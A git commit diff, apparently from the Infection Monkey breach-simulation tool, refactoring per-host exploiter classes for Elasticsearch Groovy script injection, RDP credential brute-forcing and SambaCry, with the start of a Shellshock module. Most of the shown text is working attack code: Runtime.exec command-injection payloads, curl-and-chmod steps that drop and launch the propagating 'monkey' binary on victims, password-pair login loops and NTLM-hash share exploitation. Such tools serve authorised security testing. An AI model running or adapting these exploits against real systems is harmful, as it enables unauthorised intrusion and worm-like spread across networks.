Refactor exploit classes to be per-host, and not per exploit type

Exploit telemetry has a more consistent format
Minor improvements in exploits
This commit is contained in:
Itay Mizeretz 2017-10-11 18:05:03 +03:00
parent b310092cd5
commit 9984b411d4
12 changed files with 377 additions and 409 deletions

View File

@ -5,13 +5,29 @@ __author__ = 'itamar'
class HostExploiter(object): class HostExploiter(object):
__metaclass__ = ABCMeta __metaclass__ = ABCMeta
_target_os_type = []
def is_os_supported(self, host): def __init__(self, host):
return host.os.get('type') in self._target_os_type self._target_os_type = []
self._exploit_info = {}
self._exploit_attempts = []
self.host = host
def is_os_supported(self):
return self.host.os.get('type') in self._target_os_type
def send_exploit_telemetry(self, result):
from control import ControlClient
ControlClient.send_telemetry(
'exploit',
{'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__,
'info': self._exploit_info, 'attempts': self._exploit_attempts})
def report_login_attempt(self, result, user, password, lm_hash='', ntlm_hash=''):
self._exploit_attempts.append({'result': result, 'user': user, 'password': password,
'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash})
@abstractmethod @abstractmethod
def exploit_host(self, host, depth=-1, src_path=None): def exploit_host(self):
raise NotImplementedError() raise NotImplementedError()

View File

@ -11,9 +11,8 @@ import requests
from exploit import HostExploiter from exploit import HostExploiter
from model import MONKEY_ARG from model import MONKEY_ARG
from model.host import VictimHost
from network.elasticfinger import ES_SERVICE, ES_PORT from network.elasticfinger import ES_SERVICE, ES_PORT
from tools import get_target_monkey, HTTPTools, build_monkey_commandline from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth
__author__ = 'danielg' __author__ = 'danielg'
@ -28,31 +27,33 @@ class ElasticGroovyExploiter(HostExploiter):
MONKEY_RESULT_FIELD = "monkey_result" MONKEY_RESULT_FIELD = "monkey_result"
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")' JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")'
JAVA_GET_TMP_DIR = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")' JAVA_GET_TMP_DIR =\
GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")' JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")'
JAVA_CMD = GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" JAVA_CMD = GENERIC_QUERY \
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m' JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m'
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
def __init__(self): def __init__(self, host):
super(ElasticGroovyExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration self._config = __import__('config').WormConfiguration
self.skip_exist = self._config.skip_exploit_if_file_exist self.skip_exist = self._config.skip_exploit_if_file_exist
def is_os_supported(self, host): def is_os_supported(self):
""" """
Checks if the host is vulnerable. Checks if the host is vulnerable.
Either using version string or by trying to attack Either using version string or by trying to attack
:param host: VictimHost
:return: :return:
""" """
if host.os.get('type') not in self._target_os_type: if self.host.os.get('type') not in self._target_os_type:
return False return False
if ES_SERVICE not in host.services: if ES_SERVICE not in self.host.services:
LOG.info("Host: %s doesn't have ES open" % host.ip_addr) LOG.info("Host: %s doesn't have ES open" % self.host.ip_addr)
return False return False
major, minor, build = host.services[ES_SERVICE]['version'].split('.') major, minor, build = self.host.services[ES_SERVICE]['version'].split('.')
major = int(major) major = int(major)
minor = int(minor) minor = int(minor)
build = int(build) build = int(build)
@ -62,19 +63,17 @@ class ElasticGroovyExploiter(HostExploiter):
return False return False
if major == 1 and minor == 4 and build > 2: if major == 1 and minor == 4 and build > 2:
return False return False
return self.is_vulnerable(host) return self.is_vulnerable()
def exploit_host(self, host, depth=-1, src_path=None): def exploit_host(self):
assert isinstance(host, VictimHost) real_host_os = self.get_host_os()
self.host.os['type'] = str(real_host_os.lower()) # strip unicode characters
real_host_os = self.get_host_os(host) if 'linux' in self.host.os['type']:
host.os['type'] = str(real_host_os.lower()) # strip unicode characters return self.exploit_host_linux()
if 'linux' in host.os['type']:
return self.exploit_host_linux(host, depth, src_path)
else: else:
return self.exploit_host_windows(host, depth, src_path) return self.exploit_host_windows()
def exploit_host_windows(self, host, depth=-1, src_path=None): def exploit_host_windows(self):
""" """
TODO TODO
Will exploit windows similar to smbexec Will exploit windows similar to smbexec
@ -82,150 +81,148 @@ class ElasticGroovyExploiter(HostExploiter):
""" """
return False return False
def exploit_host_linux(self, host, depth=-1, src_path=None): def exploit_host_linux(self):
""" """
Exploits linux using similar flow to sshexec and shellshock. Exploits linux using similar flow to sshexec and shellshock.
Meaning run remote commands to copy files over HTTP Meaning run remote commands to copy files over HTTP
:return: :return:
""" """
uname_machine = str(self.get_linux_arch(host)) uname_machine = str(self.get_linux_arch())
if len(uname_machine) != 0: if len(uname_machine) != 0:
host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters self.host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters
dropper_target_path_linux = self._config.dropper_target_path_linux dropper_target_path_linux = self._config.dropper_target_path_linux
if self.skip_exist and (self.check_if_remote_file_exists_linux(host, dropper_target_path_linux)): if self.skip_exist and (self.check_if_remote_file_exists_linux(dropper_target_path_linux)):
LOG.info("Host %s was already infected under the current configuration, done" % host) LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True # return already infected return True # return already infected
src_path = src_path or get_target_monkey(host) src_path = get_target_monkey(self.host)
if not src_path: if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host) LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False return False
if not self.download_file_in_linux(host, src_path, target_path=dropper_target_path_linux): if not self.download_file_in_linux(src_path, target_path=dropper_target_path_linux):
return False return False
self.set_file_executable_linux(host, dropper_target_path_linux) self.set_file_executable_linux(dropper_target_path_linux)
self.run_monkey_linux(host, dropper_target_path_linux, depth) self.run_monkey_linux(dropper_target_path_linux)
if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)): if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run") LOG.info("Log file does not exist, monkey might not have run")
return True return True
def run_monkey_linux(self, host, dropper_target_path_linux, depth): def run_monkey_linux(self, dropper_target_path_linux):
""" """
Runs the monkey Runs the monkey
""" """
cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG) cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG)
cmdline += build_monkey_commandline(host, depth - 1) + ' & ' cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & '
self.run_shell_command(host, cmdline) self.run_shell_command(cmdline)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux, host, cmdline) self._config.dropper_target_path_linux, self.host, cmdline)
if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)): if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)):
LOG.info("Log file does not exist, monkey might not have run") LOG.info("Log file does not exist, monkey might not have run")
def download_file_in_linux(self, host, src_path, target_path): def download_file_in_linux(self, src_path, target_path):
""" """
Downloads a file in target machine using curl to the given target path Downloads a file in target machine using curl to the given target path
:param host:
:param src_path: File path relative to the monkey :param src_path: File path relative to the monkey
:param target_path: Target path in linux victim :param target_path: Target path in linux victim
:return: T/F :return: T/F
""" """
http_path, http_thread = HTTPTools.create_transfer(host, src_path) http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path: if not http_path:
LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__) LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__)
return False return False
download_command = '/usr/bin/curl %s -o %s' % ( download_command = '/usr/bin/curl %s -o %s' % (
http_path, target_path) http_path, target_path)
self.run_shell_command(host, download_command) self.run_shell_command(download_command)
http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop() http_thread.stop()
if (http_thread.downloads != 1) or ( if (http_thread.downloads != 1) or (
'ELF' not in 'ELF' not in
self.check_if_remote_file_exists_linux(host, target_path)): self.check_if_remote_file_exists_linux(target_path)):
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
return False return False
return True return True
def set_file_executable_linux(self, host, file_path): def set_file_executable_linux(self, file_path):
""" """
Marks the given file as executable using chmod Marks the given file as executable using chmod
:return: Nothing :return: Nothing
""" """
chmod = '/bin/chmod +x %s' % file_path chmod = '/bin/chmod +x %s' % file_path
self.run_shell_command(host, chmod) self.run_shell_command(chmod)
LOG.info("Marked file %s on host %s as executable", file_path, host) LOG.info("Marked file %s on host %s as executable", file_path, self.host)
def check_if_remote_file_exists_linux(self, host, file_path): def check_if_remote_file_exists_linux(self, file_path):
""" """
:return: :return:
""" """
cmdline = '/usr/bin/head -c 4 %s' % file_path cmdline = '/usr/bin/head -c 4 %s' % file_path
return self.run_shell_command(host, cmdline) return self.run_shell_command(cmdline)
def run_shell_command(self, host, command): def run_shell_command(self, command):
""" """
Runs a single shell command and returns the result. Runs a single shell command and returns the result.
""" """
payload = self.JAVA_CMD % command payload = self.JAVA_CMD % command
result = self.get_command_result(host, payload) result = self.get_command_result(payload)
LOG.info("Ran the command %s on host %s", command, payload) LOG.info("Ran the command %s on host %s", command, self.host)
return result return result
def get_linux_arch(self, host): def get_linux_arch(self):
""" """
Returns host as per uname -m Returns host as per uname -m
""" """
return self.get_command_result(host, self.JAVA_GET_BIT_LINUX) return self.get_command_result(self.JAVA_GET_BIT_LINUX)
def get_host_tempdir(self, host): def get_host_tempdir(self):
""" """
Returns where to write our file given our permissions Returns where to write our file given our permissions
:return: Temp directory path in target host :return: Temp directory path in target host
""" """
return self.get_command_result(host, self.JAVA_GET_TMP_DIR) return self.get_command_result(self.JAVA_GET_TMP_DIR)
def get_host_os(self, host): def get_host_os(self):
""" """
:return: target OS :return: target OS
""" """
return self.get_command_result(host, self.JAVA_GET_OS) return self.get_command_result(self.JAVA_GET_OS)
def is_vulnerable(self, host): def is_vulnerable(self):
""" """
Checks if a given elasticsearch host is vulnerable to the groovy attack Checks if a given elasticsearch host is vulnerable to the groovy attack
:param host: Host, with an open 9200 port
:return: True/False :return: True/False
""" """
result_text = self.get_command_result(host, self.JAVA_IS_VULNERABLE) result_text = self.get_command_result(self.JAVA_IS_VULNERABLE)
return 'java.lang.Runtime' in result_text return 'java.lang.Runtime' in result_text
def get_command_result(self, host, payload): def get_command_result(self, payload):
""" """
Gets the result of an attack payload with a single return value. Gets the result of an attack payload with a single return value.
:param host: VictimHost configuration
:param payload: Payload that fits the GENERIC_QUERY template. :param payload: Payload that fits the GENERIC_QUERY template.
""" """
result = self.attack_query(host, payload) result = self.attack_query(payload)
if not result: # not vulnerable if not result: # not vulnerable
return False return False
return result[0] return result[0]
def attack_query(self, host, payload): def attack_query(self, payload):
""" """
Wraps the requests query and the JSON parsing. Wraps the requests query and the JSON parsing.
Just reduce opportunity for bugs Just reduce opportunity for bugs
:return: List of data fields or None :return: List of data fields or None
""" """
response = requests.get(self.attack_url(host), data=payload) response = requests.get(self.attack_url(), data=payload)
result = self.get_results(response) result = self.get_results(response)
return result return result
def attack_url(self, host): def attack_url(self):
""" """
Composes the URL to attack per host IP and port. Composes the URL to attack per host IP and port.
:return: Elasticsearch vulnerable URL :return: Elasticsearch vulnerable URL
""" """
return self.BASE_URL % (host.ip_addr, ES_PORT) return self.BASE_URL % (self.host.ip_addr, ES_PORT)
def get_results(self, response): def get_results(self, response):
""" """

View File

@ -1,19 +1,21 @@
import time
import threading
import os.path import os.path
import twisted.python.log import threading
import time
from logging import getLogger
import rdpy.core.log as rdpy_log import rdpy.core.log as rdpy_log
import twisted.python.log
from rdpy.core.error import RDPSecurityNegoFail
from rdpy.protocol.rdp import rdp from rdpy.protocol.rdp import rdp
from twisted.internet import reactor from twisted.internet import reactor
from rdpy.core.error import RDPSecurityNegoFail
from logging import getLogger
from exploit import HostExploiter from exploit import HostExploiter
from exploit.tools import HTTPTools from exploit.tools import HTTPTools, get_monkey_depth
from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
from model.host import VictimHost
from network.tools import check_port_tcp
from exploit.tools import get_target_monkey from exploit.tools import get_target_monkey
from tools import build_monkey_commandline, report_failed_login from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
from network.tools import check_port_tcp
from tools import build_monkey_commandline
__author__ = 'hoffer' __author__ = 'hoffer'
KEYS_INTERVAL = 0.1 KEYS_INTERVAL = 0.1
@ -37,6 +39,7 @@ def twisted_log_func(*message, **kw):
def rdpy_log_func(message): def rdpy_log_func(message):
LOG.debug("Message from rdpy library: %s" % (message,)) LOG.debug("Message from rdpy library: %s" % (message,))
twisted.python.log.msg = twisted_log_func twisted.python.log.msg = twisted_log_func
rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR
rdpy_log.log = rdpy_log_func rdpy_log.log = rdpy_log_func
@ -128,7 +131,8 @@ class KeyPressRDPClient(rdp.RDPClientObserver):
self._wait_for_update = False self._wait_for_update = False
self._update_lock.release() self._update_lock.release()
if type(key) is ScanCodeEvent: if type(key) is ScanCodeEvent:
reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed, key.is_special) reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed,
key.is_special)
elif type(key) is CharEvent: elif type(key) is CharEvent:
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed) reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
elif type(key) is SleepEvent: elif type(key) is SleepEvent:
@ -230,38 +234,38 @@ class CMDClientFactory(rdp.ClientFactory):
class RdpExploiter(HostExploiter): class RdpExploiter(HostExploiter):
_target_os_type = ['windows'] _target_os_type = ['windows']
def __init__(self): def __init__(self, host):
super(RdpExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration self._config = __import__('config').WormConfiguration
self._guid = __import__('config').GUID self._guid = __import__('config').GUID
def is_os_supported(self, host): def is_os_supported(self):
if host.os.get('type') in self._target_os_type: if self.host.os.get('type') in self._target_os_type:
return True return True
if not host.os.get('type'): if not self.host.os.get('type'):
is_open, _ = check_port_tcp(host.ip_addr, RDP_PORT) is_open, _ = check_port_tcp(self.host.ip_addr, RDP_PORT)
if is_open: if is_open:
host.os['type'] = 'windows' self.host.os['type'] = 'windows'
return True return True
return False return False
def exploit_host(self, host, depth=-1, src_path=None): def exploit_host(self):
global g_reactor global g_reactor
assert isinstance(host, VictimHost)
is_open, _ = check_port_tcp(host.ip_addr, RDP_PORT) is_open, _ = check_port_tcp(self.host.ip_addr, RDP_PORT)
if not is_open: if not is_open:
LOG.info("RDP port is closed on %r, skipping", host) LOG.info("RDP port is closed on %r, skipping", self.host)
return False return False
src_path = src_path or get_target_monkey(host) src_path = get_target_monkey(self.host)
if not src_path: if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host) LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False return False
# create server for http download. # create server for http download.
http_path, http_thread = HTTPTools.create_transfer(host, src_path) http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path: if not http_path:
LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.") LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.")
@ -269,7 +273,7 @@ class RdpExploiter(HostExploiter):
LOG.info("Started http server on %s", http_path) LOG.info("Started http server on %s", http_path)
cmdline = build_monkey_commandline(host, depth-1) cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
if self._config.rdp_use_vbs_download: if self._config.rdp_use_vbs_download:
command = RDP_CMDLINE_HTTP_VBS % { command = RDP_CMDLINE_HTTP_VBS % {
@ -280,7 +284,6 @@ class RdpExploiter(HostExploiter):
'monkey_path': self._config.dropper_target_path, 'monkey_path': self._config.dropper_target_path,
'http_path': http_path, 'parameters': cmdline} 'http_path': http_path, 'parameters': cmdline}
user_password_pairs = self._config.get_exploit_user_password_pairs() user_password_pairs = self._config.get_exploit_user_password_pairs()
if not g_reactor.is_alive(): if not g_reactor.is_alive():
@ -292,27 +295,27 @@ class RdpExploiter(HostExploiter):
try: try:
# run command using rdp. # run command using rdp.
LOG.info("Trying RDP logging into victim %r with user %s and password '%s'", LOG.info("Trying RDP logging into victim %r with user %s and password '%s'",
host, user, password) self.host, user, password)
LOG.info("RDP connected to %r", host) LOG.info("RDP connected to %r", self.host)
client_factory = CMDClientFactory(user, password, "", command) client_factory = CMDClientFactory(user, password, "", command)
reactor.callFromThread(reactor.connectTCP, host.ip_addr, RDP_PORT, client_factory) reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory)
client_factory.done_event.wait() client_factory.done_event.wait()
if client_factory.success: if client_factory.success:
exploited = True exploited = True
host.learn_credentials(user, password) self.report_login_attempt(True, user, password)
break break
else: else:
# failed exploiting with this user/pass # failed exploiting with this user/pass
report_failed_login(self, host, user, password) self.report_login_attempt(False, user, password)
except Exception, exc: except Exception as exc:
LOG.debug("Error logging into victim %r with user" LOG.debug("Error logging into victim %r with user"
" %s and password '%s': (%s)", host, " %s and password '%s': (%s)", self.host,
user, password, exc) user, password, exc)
continue continue
@ -327,6 +330,6 @@ class RdpExploiter(HostExploiter):
return False return False
LOG.info("Executed monkey '%s' on remote victim %r", LOG.info("Executed monkey '%s' on remote victim %r",
os.path.basename(src_path), host) os.path.basename(src_path), self.host)
return True return True

View File

@ -19,7 +19,7 @@ import monkeyfs
from exploit import HostExploiter from exploit import HostExploiter
from model import DROPPER_ARG from model import DROPPER_ARG
from network.smbfinger import SMB_SERVICE from network.smbfinger import SMB_SERVICE
from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path, get_monkey_depth
__author__ = 'itay.mizeretz' __author__ = 'itay.mizeretz'
@ -50,21 +50,22 @@ class SambaCryExploiter(HostExploiter):
# Monkey copy filename on share (64 bit) # Monkey copy filename on share (64 bit)
SAMBACRY_MONKEY_COPY_FILENAME_64 = "monkey64_2" SAMBACRY_MONKEY_COPY_FILENAME_64 = "monkey64_2"
def __init__(self): def __init__(self, host):
super(SambaCryExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration self._config = __import__('config').WormConfiguration
def exploit_host(self, host, depth=-1, src_path=None): def exploit_host(self):
if not self.is_vulnerable(host): if not self.is_vulnerable():
return False return False
writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr) writable_shares_creds_dict = self.get_writable_shares_creds_dict(self.host.ip_addr)
LOG.info("Writable shares and their credentials on host %s: %s" % LOG.info("Writable shares and their credentials on host %s: %s" %
(host.ip_addr, str(writable_shares_creds_dict))) (self.host.ip_addr, str(writable_shares_creds_dict)))
host.services[SMB_SERVICE]["shares"] = {} self._exploit_info["shares"] = {}
for share in writable_shares_creds_dict: for share in writable_shares_creds_dict:
host.services[SMB_SERVICE]["shares"][share] = {"creds": writable_shares_creds_dict[share]} self._exploit_info["shares"][share] = {"creds": writable_shares_creds_dict[share]}
self.try_exploit_share(host, share, writable_shares_creds_dict[share], depth) self.try_exploit_share(share, writable_shares_creds_dict[share])
# Wait for samba server to load .so, execute code and create result file. # Wait for samba server to load .so, execute code and create result file.
time.sleep(self._config.sambacry_trigger_timeout) time.sleep(self._config.sambacry_trigger_timeout)
@ -72,37 +73,40 @@ class SambaCryExploiter(HostExploiter):
successfully_triggered_shares = [] successfully_triggered_shares = []
for share in writable_shares_creds_dict: for share in writable_shares_creds_dict:
trigger_result = self.get_trigger_result(host.ip_addr, share, writable_shares_creds_dict[share]) trigger_result = self.get_trigger_result(self.host.ip_addr, share, writable_shares_creds_dict[share])
creds = writable_shares_creds_dict[share]
self.report_login_attempt(
trigger_result is not None, creds['username'], creds['password'], creds['lm_hash'], creds['ntlm_hash'])
if trigger_result is not None: if trigger_result is not None:
successfully_triggered_shares.append((share, trigger_result)) successfully_triggered_shares.append((share, trigger_result))
self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share]) self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share])
for share, fullpath in successfully_triggered_shares: for share, fullpath in successfully_triggered_shares:
host.services[SMB_SERVICE]["shares"][share]["fullpath"] = fullpath self._exploit_info["shares"][share]["fullpath"] = fullpath
if len(successfully_triggered_shares) > 0: if len(successfully_triggered_shares) > 0:
LOG.info( LOG.info(
"Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares))) "Shares triggered successfully on host %s: %s" % (
self.host.ip_addr, str(successfully_triggered_shares)))
return True return True
else: else:
LOG.info("No shares triggered successfully on host %s" % host.ip_addr) LOG.info("No shares triggered successfully on host %s" % self.host.ip_addr)
return False return False
def try_exploit_share(self, host, share, creds, depth): def try_exploit_share(self, share, creds):
""" """
Tries exploiting share Tries exploiting share
:param host: victim Host object
:param share: share name :param share: share name
:param creds: credentials to use with share :param creds: credentials to use with share
:param depth: current depth of monkey
""" """
try: try:
smb_client = self.connect_to_server(host.ip_addr, creds) smb_client = self.connect_to_server(self.host.ip_addr, creds)
self.upload_module(smb_client, host, share, depth) self.upload_module(smb_client, share)
self.trigger_module(smb_client, share) self.trigger_module(smb_client, share)
except (impacket.smbconnection.SessionError, SessionError): except (impacket.smbconnection.SessionError, SessionError):
LOG.debug( LOG.debug(
"Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds))) "Exception trying to exploit host: %s, share: %s, with creds: %s." % (
self.host.ip_addr, share, str(creds)))
def clean_share(self, ip, share, creds): def clean_share(self, ip, share, creds):
""" """
@ -189,18 +193,17 @@ class SambaCryExploiter(HostExploiter):
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()] shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
return [x for x in shares if x not in self._config.sambacry_shares_not_to_check] return [x for x in shares if x not in self._config.sambacry_shares_not_to_check]
def is_vulnerable(self, host): def is_vulnerable(self):
""" """
Checks whether the victim runs a possibly vulnerable version of samba Checks whether the victim runs a possibly vulnerable version of samba
:param host: victim Host object
:return: True if victim is vulnerable, False otherwise :return: True if victim is vulnerable, False otherwise
""" """
if SMB_SERVICE not in host.services: if SMB_SERVICE not in self.host.services:
LOG.info("Host: %s doesn't have SMB open" % host.ip_addr) LOG.info("Host: %s doesn't have SMB open" % self.host.ip_addr)
return False return False
pattern = re.compile(r'\d*\.\d*\.\d*') pattern = re.compile(r'\d*\.\d*\.\d*')
smb_server_name = host.services[SMB_SERVICE].get('name') smb_server_name = self.host.services[SMB_SERVICE].get('name')
samba_version = "unknown" samba_version = "unknown"
pattern_result = pattern.search(smb_server_name) pattern_result = pattern.search(smb_server_name)
is_vulnerable = False is_vulnerable = False
@ -225,46 +228,19 @@ class SambaCryExploiter(HostExploiter):
is_vulnerable = True is_vulnerable = True
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" % LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
(host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable))) (self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)))
return is_vulnerable return is_vulnerable
def is_share_writable(self, smb_client, share): def upload_module(self, smb_client, share):
"""
Checks whether the share is writable
:param smb_client: smb client object
:param share: share name
:return: True if share is writable, False otherwise.
"""
LOG.debug('Checking %s for write access' % share)
try:
tree_id = smb_client.connectTree(share)
except (impacket.smbconnection.SessionError, SessionError):
return False
try:
smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
writable = True
except (impacket.smbconnection.SessionError, SessionError):
writable = False
pass
smb_client.disconnectTree(tree_id)
return writable
def upload_module(self, smb_client, host, share, depth):
""" """
Uploads the module and all relevant files to server Uploads the module and all relevant files to server
:param smb_client: smb client object :param smb_client: smb client object
:param host: victim Host object
:param share: share name :param share: share name
:param depth: current depth of monkey
""" """
tree_id = smb_client.connectTree(share) tree_id = smb_client.connectTree(share)
with self.get_monkey_commandline_file(host, depth, with self.get_monkey_commandline_file(self._config.dropper_target_path_linux) as monkey_commandline_file:
self._config.dropper_target_path_linux) as monkey_commandline_file:
smb_client.putFile(share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read) smb_client.putFile(share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read)
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file: with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
@ -284,18 +260,6 @@ class SambaCryExploiter(HostExploiter):
smb_client.disconnectTree(tree_id) smb_client.disconnectTree(tree_id)
def connect_to_server(self, ip, credentials):
"""
Connects to server using given credentials
:param ip: IP of server
:param credentials: credentials to log in with
:return: SMBConnection object representing the connection
"""
smb_client = SMBConnection(ip, ip)
smb_client.login(
credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
return smb_client
def trigger_module(self, smb_client, share): def trigger_module(self, smb_client, share):
""" """
Tries triggering module Tries triggering module
@ -346,11 +310,50 @@ class SambaCryExploiter(HostExploiter):
else: else:
return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_64), "rb") return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_64), "rb")
def get_monkey_commandline_file(self, host, depth, location): def get_monkey_commandline_file(self, location):
return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location)) return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, location))
@staticmethod
def is_share_writable(smb_client, share):
"""
Checks whether the share is writable
:param smb_client: smb client object
:param share: share name
:return: True if share is writable, False otherwise.
"""
LOG.debug('Checking %s for write access' % share)
try:
tree_id = smb_client.connectTree(share)
except (impacket.smbconnection.SessionError, SessionError):
return False
try:
smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
writable = True
except (impacket.smbconnection.SessionError, SessionError):
writable = False
pass
smb_client.disconnectTree(tree_id)
return writable
@staticmethod
def connect_to_server(ip, credentials):
"""
Connects to server using given credentials
:param ip: IP of server
:param credentials: credentials to log in with
:return: SMBConnection object representing the connection
"""
smb_client = SMBConnection(ip, ip)
smb_client.login(
credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
return smb_client
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability # # Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
def create_smb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, @staticmethod
def create_smb(smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition,
fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None): oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
@ -396,7 +399,8 @@ class SambaCryExploiter(HostExploiter):
# In our case, str(FileID) # In our case, str(FileID)
return str(createResponse['FileID']) return str(createResponse['FileID'])
def open_pipe(self, smb_client, pathName): @staticmethod
def open_pipe(smb_client, pathName):
# We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style # We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
# to make things easier for the caller. Not this time ;) # to make things easier for the caller. Not this time ;)
treeId = smb_client.connectTree('IPC$') treeId = smb_client.connectTree('IPC$')
@ -426,7 +430,7 @@ class SambaCryExploiter(HostExploiter):
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
else: else:
return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, return SambaCryExploiter.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA,
shareMode=FILE_SHARE_READ, shareMode=FILE_SHARE_READ,
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE,
fileAttributes=0) fileAttributes=0)

View File

@ -1,16 +1,17 @@
# Implementation is based on shellshock script provided https://github.com/nccgroup/shocker/blob/master/shocker.py # Implementation is based on shellshock script provided https://github.com/nccgroup/shocker/blob/master/shocker.py
import logging import logging
from random import choice
import string import string
from tools import build_monkey_commandline from random import choice
from exploit import HostExploiter
from model.host import VictimHost
from shellshock_resources import CGI_FILES
from model import MONKEY_ARG
